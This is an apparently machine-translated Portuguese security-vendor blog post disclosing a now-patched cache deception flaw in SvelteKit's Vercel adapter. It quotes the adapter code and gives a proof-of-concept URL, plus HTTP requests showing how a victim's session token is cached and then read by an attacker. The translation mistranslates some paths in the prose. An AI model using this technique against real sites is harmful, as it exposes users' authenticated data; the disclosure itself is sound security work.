O SvelteKit é uma popular estrutura JavaScript full-stack, e o Vercel é a sua plataforma de implementação mais comum. E se lhe disséssemos que todas as aplicações criadas com essa combinação estavam vulneráveis a invasores que lessem respostas de qualquer rota de outros utilizadores conectados?
Bem, é verdade. Esse vetor de ataque, chamado cache deception, é exatamente o que um dos agentes de IA encontrou e nos relatou enquanto testávamos Aikido . E, embora inicialmente céticos, refizemos os passos e descobrimos que podíamos reproduzir a vulnerabilidade perfeitamente. Notificamos rapidamente a Vercel, e a vulnerabilidade já foi corrigida automaticamente para todos os utilizadores.
Observação: O problema pode ser vista na base de dados IntelAikido e tem o número CVE reservado: CVE-2026-27118. Também encontramos uma problema que permite a negação de serviço em um recurso experimental no SvelteKit. Isso também foi divulgado e corrigido.
Resumo rápido
O __pathname O parâmetro de consulta no adaptador Vercel do SvelteKit pode substituir o caminho de qualquer lugar. No Vercel, todos os ficheiros em /_app/imutável/ tem diferentes Controlo de cache: cabeçalhos para que possa ser armazenado em cache. Ao prefixar isso com um caminho falso e reescrevê-lo para conter conteúdo confidencial, a resposta será armazenada em cache à força, permitindo que um invasor a recupere visitando a mesma URL sem cookies.
URL da prova de conceito:
https://example.vercel.app/_app/immutable/x?__pathname=/api/session
Descoberta
Contaremos essa história da perspectiva do agente de pentest de IA que encontrou a vulnerabilidade, começando pelo gadget inicial até a exploração completa, e falaremos sobre algumas ideias interessantes ao longo do caminho. Abrace o seu robô interior e vamos pesquisar!
Se ler o código-fonte do SvelteKit, encontrará alguns «adaptadores», que são o middleware entre uma plataforma de alojamento como o Vercel e a estrutura SvelteKit. Isso permite aplicar algumas regras especiais à solicitação e resposta necessárias para o funcionamento interno da plataforma. O Vercel implementou o seguinte em sem servidor.js:
const DATA_SUFFIX = '/__data.json';
fetch(request) {
// If this is an ISR request, the requested pathname is encoded
// as a search parameter, so we need to extract it
const url = new URL(request.url);
let pathname = url.searchParams.get('__pathname');
if (pathname) {
// Optional routes' pathname replacements look like `/foo/$1/bar` which means we could end up with an url like /foo//bar
pathname = pathname.replace(/\/+/g, '/');
url.pathname = pathname + (url.pathname.endsWith(DATA_SUFFIX) ? DATA_SUFFIX : '');
url.searchParams.delete('__pathname');
request = new Request(url, request);
}
return server.respond(request, {
getClientAddress() {
return /** @type {string} */ (request.headers.get('x-forwarded-for'));
}
});
}
Podemos ler “Se esta for uma solicitação ISR, o nome do caminho solicitado é codificado como um parâmetro de pesquisa”. O código pega essa variável de nome de caminho (do ?__pathname= parâmetro de consulta) e reescreve o url.pathname com ele. O pedido ignora o URL original e usa apenas este __pathname em vez disso.
Mas não parece haver nenhuma verificação em relação a essas solicitações de Regeneração Estática Incremental (ISR), então todas as solicitações suportam esse parâmetro?
A resposta é sim, e é exatamente aí que reside a vulnerabilidade! Qualquer caminho pode ser substituído por outro caminho com apenas um parâmetro de consulta. Um teste simples como /?__pathname=/404 iria realmente mostrar um erro 404 em vez da página inicial.

Isso pode parecer uma funcionalidade estranha. Por que seria perigoso? Bem, não é, até que o cache entre em ação.
Contaminação da cache?
Se pudermos reescrever qualquer caminho para apontar para qualquer outro recurso, o que acontece se esse recurso contaminado for armazenado em cache? Essa também foi a nossa primeira ideia. Se verificarmos o código-fonte de qualquer aplicação SvelteKit, veremos algo como:
importar("./_app/immutable/entry/start.CLO1Dlt2.js"),
import("./_app/immutable/entry/app.kQF6jJr8.js")
O caminho /_app/imutável/entrada/início.CLO1Dlt2.js retorna algum JavaScript para ser executado e, observando a resposta, Controlo de cache: Os cabeçalhos indicam que está realmente em cache. Isso é esperado para recursos estáticos:
Idade: 618
Cache-Control: público, imutável,max-age=31536000
X-Vercel-Cache: HIT
Se pudéssemos usar o nosso ?__pathname= parâmetro para reescrever a solicitação para apontar para algum caminho controlado pelo invasor, como um upload de arquivo, e ainda assim seria armazenado em cache sob o mesmo nome simples /_app/imutável/entrada/início.CLO1Dlt2.js caminho que todos os utilizadores carregam, teríamos XSS em todos os utilizadores. Vamos ver o que acontece quando adicionamos este parâmetro de consulta à nossa solicitação:
GET /_app/immutable/start.CLO1Dlt2.js?__pathname=/ HTTP/2
Host: example.vercel.app
Na resposta, recebemos boas e más notícias dos cabeçalhos:
Idade: 935
Cache-Control: público, imutável,idade máxima=31536000
X-Vercel-Cache: HIT
O Idade: aumentou pelo tempo que levou para escrever o parágrafo acima, e o HIT significa que com o nosso parâmetro de consulta adicionado, a mesma entrada da cache é acedida como a que todos carregam. Mas, ao mesmo tempo, isso significa que o conteúdo JavaScript antigo também é retornado, e não o conteúdo no nosso caminho reescrito. Se for esse o caso, poderíamos limpar a cache e ser os primeiros a solicitá-la para que nosso A carga útil pode ser armazenada em cache?
Infelizmente, não. A plataforma Vercel é mais complicada devido à sua arquitetura sem servidor e, na verdade, nem sequer acessa o código do adaptador para um recurso tão estático. Isso ocorre porque os ativos estáticos são armazenados em cache e retornados em uma camada superior, portanto, nunca seremos capazes de contaminá-los.
Neste caso, a própria Vercel é a única plataforma vulnerável, por isso não conseguimos encontrar outros cenários exploráveis. Chegámos a um beco sem saída.
Engano do cache!
Passemos ao próximo problema com o cache da web: o cache deception. Nesta técnica menos conhecida, um invasor redireciona a vítima para alguma página sensível que pode ser recuperada com os seus cookies. Se o cache armazenar essa página sem considerar qual utilizador a solicitou, o invasor poderá posteriormente visitar o mesmo URL e ver os dados privados da vítima a partir do cache. O problema é que o cache salva respostas com base apenas no URL, ignorando que utilizadores diferentes com cookies de login diferentes devem ver conteúdos diferentes.
Aplicando essa ideia ao nosso ?__pathname= gadget, podemos criar a nossa URL parecer aponta para um caminho estático, mas na verdade aponta para conteúdo sensível. A camada de cache pode ser acionada nesse caminho de aparência estática e adicionar explicitamente Controlo de cache: cabeçalhos e substituir a resposta privada.
Embora alguns critérios de cache estão documentadas, a nossa investigação revelou mais regras. Uma delas já nos é familiar: caminhos que começam com /_app/imutável/. Acontece que não só os ficheiros estáticos esperados são armazenáveis em cache sob este prefixo, mas qualquer Resposta 200 OK. Para evitar os recursos já gerados, podemos inicialmente apontar para um recurso falso. Em seguida, reescreva-o para qualquer caminho sensível, digamos /api/sessão:
https://example.vercel.app/_app/immutable/x?__pathname=/api/session
E aí temos a nossa carga final. Ao visitar este link como uma vítima conectada, será enviada uma solicitação como a seguinte:
GET /_app/immutable/x?__pathname=/api/session HTTP/2
Host: example.vercel.app
Cookie: auth=...
O adaptador Vercel do SvelteKit reescreve o nome do caminho para /api/sessão, e é tratado pela aplicação. O auth= o cookie é verificado e o seu token de sessão é devolvido:
HTTP/2 200 OK
Age: 0
Cache-Control: public, immutable, max-age=31536000
...
Server: Vercel
X-Vercel-Cache: MISS
Content-Length: 16
{"token":"1337"}Embora o Controlo de cache: o cabeçalho normalmente diria idade máxima=0 para este ponto final, a camada de cache do Vercel ativa o cache de forma forçada devido ao /_app/imutável/ prefixo.
Assim que o invasor souber que a vítima foi redirecionada, ele poderá solicitar o mesmo URL, sem precisar de cookies:
GET /_app/immutable/x?__pathname=/api/session HTTP/2
Host: example.vercel.appRecebem a mesma resposta que um HIT agora, e pode ler o token da vítima.
HTTP/2 200 OK
Age: 22
Cache-Control: public, immutable, max-age=31536000
...
Server: Vercel
X-Vercel-Cache: HIT
Content-Length: 16
{"token":"1337"}
Usando cache busters (caminhos fictícios exclusivos) e verificando após o redirecionamento, isso poderia ter sido explorado em grande escala. Como essa vulnerabilidade é apenas parte do Sveltekit básico, qualquer site SvelteKit na Vercel que use cookies para autenticação permitiria que respostas arbitrárias fossem recuperadas.
As consequências
Rapidamente comunicámos o problema à Vercel, que apresentou uma solução. uma correção para retornar forçosamente 404 em qualquer /_app/imutável/ caminho e remover o __pathname parâmetro. Como eles controlam toda a sua plataforma, isso resolve o problema automaticamente para todos os utilizadores, sem necessidade de correção manual.
Uma grande lição a tirar desta vulnerabilidade é que o armazenamento em cache é sempre complicado. Regras simples, como uma correspondência de prefixo, podem ser aproveitadas por funcionalidades inesperadas da plataforma que nem sequer implementou.
É por isso que o pentesting pode ser tão útil. Problemas como esse seriam difíceis de descobrir apenas pelo código, mas, por meio de uma implementação real, regras ocultas podem ser encontradas e exploradas. O pentest de IAAikido pode detectar ataques de cache poisoning e cache deception automaticamente, como aconteceu com esse problema.
Principais Pontos
- Em 20 de janeiro de 2026, o sistema de teste de penetração de IA Aikidodetectou algo interessante nas aplicações SvelteKit implementadas na Vercel.
- Confirmámos que se tratava de uma vulnerabilidade de engano de cache que afetava as configurações padrão.
- Não é necessária nenhuma configuração incorreta. Basta o SvelteKit + Vercel a fazer o que devem fazer.
- Impacto: respostas autenticadas podem ser armazenadas em cache e expostas a outros utilizadores.
- Qualquer aplicação SvelteKit em execução no Vercel com pontos finais protegidos pode ser afetada.
Como verificar se está afetado
Usando Aikido:
Se é Aikido , verifique o seu feed central. Pode ver o problema no Aikido aqui. Dica: Aikido os seus repositórios todas as noites, mas recomendamos que também faça uma verificação completa.
Se você ainda não é um usuário Aikido, crie uma conta e conecte seus repositórios. Nossa cobertura proprietária de malware está incluída no plano gratuito (não é necessário cartão de crédito).
O teste de penetração de IA e a verificação de segurança da web Aikido detetam automaticamente fluxos de engano de cache e comportamentos de reescrita inseguros.
Status da correção
Divulgámos esta informação à Vercel em 21 de janeiro de 2026.
Cronograma
- 20 de janeiro de 2026: Aikido identificou a vulnerabilidade e criou um PoC funcional.
- 21 de janeiro de 2026: Divulgação responsável à Vercel
- 23 de janeiro de 2026: Relatório triado
- 9 de fevereiro de 2026: A Vercel confirma o relatório e começa a trabalhar numa correção.
- 19 de fevereiro de 2026: A Vercel corrigiu a vulnerabilidade para todos os utilizadores e publicou um aviso (GHSA-9pq4-5hcf-288c). O problema pode ser visto em base de dados IntelAikido e tem o número CVE reservado: CVE-2026-27118.
Também encontramos uma problema que permite a negação de serviço em um recurso experimental do SvelteKit. Isso também foi divulgado e corrigido.

